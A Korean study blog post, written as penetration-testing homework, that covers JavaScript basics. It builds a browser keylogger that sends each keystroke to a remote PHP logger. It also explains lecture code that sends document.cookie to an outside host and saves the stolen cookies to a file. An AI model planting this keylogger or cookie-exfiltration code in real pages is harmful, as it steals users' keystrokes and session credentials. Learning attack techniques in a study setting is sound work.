모의해킹 스터디 과제

모의해킹 스터디 4주차 과제(1): 자바 스크립트

whydontyoushovel 2024. 11. 11. 01:12

※ 4주차 과제 (1)

≫ 자바스크립트 공부하기

  • 자바스크립트로 키로거 코드 짜기
  • 자바스크립트 기본

 

 

◈ 자바스크립트로 키로거 코드 짜기

키로거 : 사용자가 키보드에 입력한 모든 내용을 기록.

              반드시 악의적으로 사용되는 것은 아니지만 그런 목적으로 사용되는 경우가 많음.

 

1) 로직

이벤트 리스너로 입력 감지   ->   입력한 문자 공격자 서버에 보내기   ->   입력한 문자 서버에 저장   ->   문자 확인

 

*감지하자마자 서버에 데이터를 보내야 ㄹㅇ 찐 키로거가 될 수 있을 것 같다.

 

 

2) 결과 코드

 

  • html 코드 : 키보드 입력 받기, 데이터 가지고 GET요청 보내기

html 화면

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Documents</title>
    <link rel="stylesheet" href="main.css">
</head>
<body>

<form>
    <input type="text" value="내일 저녁밥" id="input"/>
    
</form>

<script>
    document.getElementById('input').addEventListener("keydown", function(e) {
        var key = e.code;
        var url = 'http://내 서버 ip/test/log_key.php?code=';

        new Image().src = url + key;

    });

</script>


</body>
</html>

입력받을 input box와

키보드가 눌릴 때 처리할 자바스크립트 코드가 적혀 있다.

 

인풋 박스에 키보드가 입력되면 (사용자가 키보드를 누르면)

이벤트 결과의 code값을 key라는 변수에 저장  (code값은 키보드의 물리적 위치를 가짐)

요청 보낼 url과 키 저장 (/test/log_key.php에선 받은 키를 txt파일에 보내는 역할을 함)

이미지 객체를 해당 url에 key를 가지고 get요청으로 보냄

 

 

  • php코드 
<?php

    if(isset($_GET['code'])) {
        $key = $_GET['code'];
        $file = 'keylogger.txt';

        file_put_contents($file,$key."\n",FILE_APPEND);

    } else {
        echo "no key data received";
    }

?>

 

GET요청에 code로 값이 있으면

code에 들어있는 값을 변수에 저장

그 값을 저장할 파일을 변수에 저장

 

저장할 파일, 저장할 값."줄바꿈", 파일 이어붙여서 저장하기 옵션);  -> 이것을 여기다 이런 식으로 저장하겠다.

 

GET요청에 code값이 없으면 출력

 

근데 키로거는 클라이언트에 노출되면 안될테니까 디버깅 코드는 콘솔 창을 이용하든 해야할 듯

 

 

  • 결과 받은 txt 파일 : 입력한 키가 저장됨. 

 

ㅇ..

ㅕ..

ㄴ..

ㅇ..

ㅓ..

 

이 사람 내일 저녁밥은 연어로구나!!!

 

 

 

 

 

◈ 자바스크립트

(기본적으로 html코드 밑에 작성)

1. 변수

1) var 

함수 밖에 사용하면 전역변수 -> 페이지에서 계속 사용 가능

함수 안에서 사용하면 함수 내에서만 사용 가능

이미 사용한 변수명을 또 사용하면 예상치 못한 결과가 나올 수 있음

 

2) let

블록 내부가 활동 범위

함수의 블록 내부에 선언된 변수와 밖에 선언된 변수가 독립적.

같은 범위에서는 재정의 못함.

 

2. 상수

1) const

블록 내에서만 사용

재선언도 수정도 불가

 

근데 이런 경우는 수정이 가능하다.

    const greeting = {
        message: "say Hi",
        times: 4
    }

message나 times 라는 이름 자체를 수정할 수는 없지만

 

greeting.message = "변경할 값";

으로 수정하면 message의 값을 수정할 수 있다.

 

 

3. 출력

1) console.log()

개발자도구 콘솔 화면에 출력하기

2) alert() 

경고문 출력된 창 띄우기. 확인 눌러야 사라짐

3) confirtm() 

확인(true) 혹은 취소(false) 값 받기 위해 사용.

let result = confirm('배고프면 확인, 아니면 취소를 클릭하세요.');

console.log("result : " + result);

4) prompt()

입력한 내용과 텍스트 필드, 확인, 취소 버튼 있는 안내창 출력

let age = prompt('당신은 몇 살인가요?‘,디폴트 값);

console.log('age : ' + age); // 확인 누르면 입력값 리턴.

콘솔창에 >> age : 입력값 출력됨.

 

 

4. 조건

걍 if문

 

5. 반복

1) 기본

for(var i=0;i<10;i++) {
console.log(i);
}

 

2) 배열에서 반복

a. for of : 배열의 요소를 돌아가면서

let arr = ['1','2','3'];

for(let element of arr) {
console.log(element);
}

 

b. for in : 배열의 킷값과 값을 돌아가면서

let info = {name:"normaltic", score:"100", userid:"normaltic"}

for (let key in info) {
console.log (key + ":" + info[key]);
}

 

3) while 

var i = 0;

while (i<10) {
console.log(i);
i++;
}

 

 

6. 셀렉터

현재 문서에서 id혹은 class명 혹은 뭐 어떤 것이 "이거"인 요소의 어떤 부분(내부html글자 혹은 css 스타일 등)을

'어쩌구'로 바꿈

<html>

<h2 id="hello">안녕하십쌉싸리와용</h2>

<script>
document.getElementById("hello").innerHTML = '안녕';
</script>

</html>

document : 현재 문서의

.getElementById("hello") : 아이디가 hello인 요소의

.innerHTML : 내부 html을

= '안녕' ;    ->   안녕으로 바꿔

 

(class명으로 찾는 경우 getElementsByClassName('??') [0]  -> 그 클래스명을 가진 애들 중 몇 번째인지 표시)

 

<html>
	<div class="alert-box" id="alert">Alert 박스</div>

	<script>

	<button onclick="document.getElementById('alert").style.display = 'none';"> 닫기 
	</button>

	</script>

</html>

버튼을 클릭하면

현재 문서의 id가 alert인 요소의

style의 display를

none으로 바꿔

          -> 버튼 누르면 저거 사라짐

 

 

7. function + 파라미터

<html>
<button onclick="경고창열기()">버튼</button>
<script>

    function 경고창열기() {
       document.getElementById('alert').style.display = 'block';
    }

</script>
</html>

자주 쓸 코드는 코드를 계속 길게 쓸 필요 없이 그 코드를 실행하는 함수로 코드 축약

 

파라미터로 더 효율적으로 만들 수도 있음.

<html>
	<div class="alert-box" id="alert">Alert 박스</div> 
    <button onclick="로그인경고('block','아이디 입력 안함')"> 버튼1</button>
    <button onclick="로그인경고('block','비번 입력 안함')">버튼2</button>
    <button onclick="로그인경고('none','비번 입력 안함')">버튼3</button>

    <script>

        function 로그인경고(show, html) {
            document.getElementById('alert').innerHTML = html;
            document.getElementById('alert').style.display = show;
        }

    </script>
</html>

 

버튼에 쓰인 함수에서 두개의 인자를 받아 텍스트와 css를 변경하게 만듦

 

 

 

8. Event Listener

document.getElementById('아이디').addEventListener('이벤트',function(){
      어쩌구 기능~~
});

 

이벤트

1) 클릭(click)

2) 키보드로 입력(keydown)

3) 스크롤(scroll)

4) 마우스 갖다대기(mouseover) 등

 

의 이벤트가 발생하면 함수 안의 코드를 처리해라~

 

 

9. Event Handler

https://velog.io/@ghenmaru/%EC%9D%B4%EB%B2%A4%ED%8A%B8-%ED%95%B8%EB%93%A4%EB%9F%ACEvent-Handler

 

[Javascript] 이벤트 핸들러(Event Handler)

당신이 하는 모든 행동이 event

velog.io

 

 

 

 

 

 

강의 자료의 쿠키 탈취 코드 공부

더보기

쿠키 탈취 코드

<script>

var cookieData = document.cookie;
var attackURL = 'https://normaltic.com/getCred.php?cookie=‘;
new Image().src = attackURL + cookieDate;

</script>

 

1. 현재 위치에서 접근 가능한 모든 쿠키 저장

2. 쿠키데이터를 보낼 url 저장

3. url에 쿠키 데이터를 붙여서 이 url 사이트에 이미지 객체 요청 보냄

     1) image().src 는 html코드에서 img src="파일경로" 와 같음.

     2) 이미지로 요청하면 get요청을 눈에 띄지 않게 외부 서버로 보낼 수 있음.

 즉, "https://normaltic.com/getCred.php?cookie=SESSID=어쩌구" 라는 이미지 파일을 요청하는 GET 메서드를 

https://normaltic.com/getCred.php 에다 요청으로 넣는 것.

4. 요청 헤더의 쿠키 혹은 세션ID를 getCred.php 파일에서 어떻게 저장할 것이냐에 따라 공격자의 서버에서

   데이터베이스에 저장될 수도 있고 파일 시스템에 저장될 수도 있고 로그로 저장될 수도 있음.

 

굳이 img소스를 요청한 이유가 있는 듯하다. 

 

데이터 보내기 정석 코드

const Http = new XMLHttpRequest();
const url = 'https://normaltic.com/test.php';
Http.open('GET',url);
Http.send();
Http.onreadystatechange = (e) => {
	console.log(Http.responseText);
};

1. XMLHttpRequest에 접근할 수 있는 객체를 생성.

2. 데이터 보낼 url 변수에 저장.

3. 해당 url을 GET요청할 준비.

4. 서버에 요청 전송.

5. 서버의 응답상태(200~500)가 변할 때마다 응답 본문을 출력.

  (test.php에 뭐 출력하라는 게 따로 없으면 아무것도 안 나옴)

 

이 정석 코드는 요청을 보낼 수는 있지만 이것만으로는 쿠키를 탈취할 수 없다.

 

따라서 쿠키 데이터를 변수에 저장하여 그 변수를 제이쿼리로 감싸 보내는 법과

( const url = 'https://normaltic.com/test.php?cookie=${encodeURIComponent(cookieDate)};')

 

위 코드대로 요청을 보내고 test.php에서 쿠키값을 탈취하는 코드를 작성하여 탈취할 수 있다.

쿠키 저장 코드 예시 (DB에 저장하는 방법도 있음)

$cookieData = $_COOKIE;  // 요청에 포함된 쿠키 데이터를 변수에 저장
file_put_contents('stolen_cookies.txt', $cookieData . PHP_EOL, FILE_APPEND);
 // 파일에 넣어라 (데이터를 넣을 파일, 넣을 데이터.php에서 줄바꿈, 파일 덮어쓰지 말고 이어붙여(옵션));

 쿠키를 저장할 때도 단순히 문자열로 저장할지, print_r을 이용해 배열로 저장할지, json_encode로 쿠키 데이터를 구조화하여 저장해, 키와 값에 개별로 접근 가능하도록 할지 등 다양한 선택지가 있는 듯 하다.

 

 

 

 

 

솔직히 정리한 내용의 얼만큼을 제대로 이해했는지 모르겠다. 

하루 빨리 내가 만든 사이트에 쿠키, 세션id를 적용해서 실습해보든가 해야겠다..

 

 

 

'모의해킹 스터디 과제' 카테고리의 다른 글

모의해킹 스터디 6주차 과제: CTF - UNION SQL Injection  (2) 2024.11.29
모의해킹 스터디 5주차 과제: CTF - 로그인, 인증 우회  (0) 2024.11.19
모의해킹 스터디 3주차 과제: 로그인 케이스  (0) 2024.11.05
모의해킹 스터디 2주차 과제: 회원가입 페이지, 로그인 DB 연동  (0) 2024.11.01
모의해킹 스터디 1주차 과제  (4) 2024.10.23

'모의해킹 스터디 과제'의 다른글

  • 현재글모의해킹 스터디 4주차 과제(1): 자바 스크립트

관련글

티스토리툴바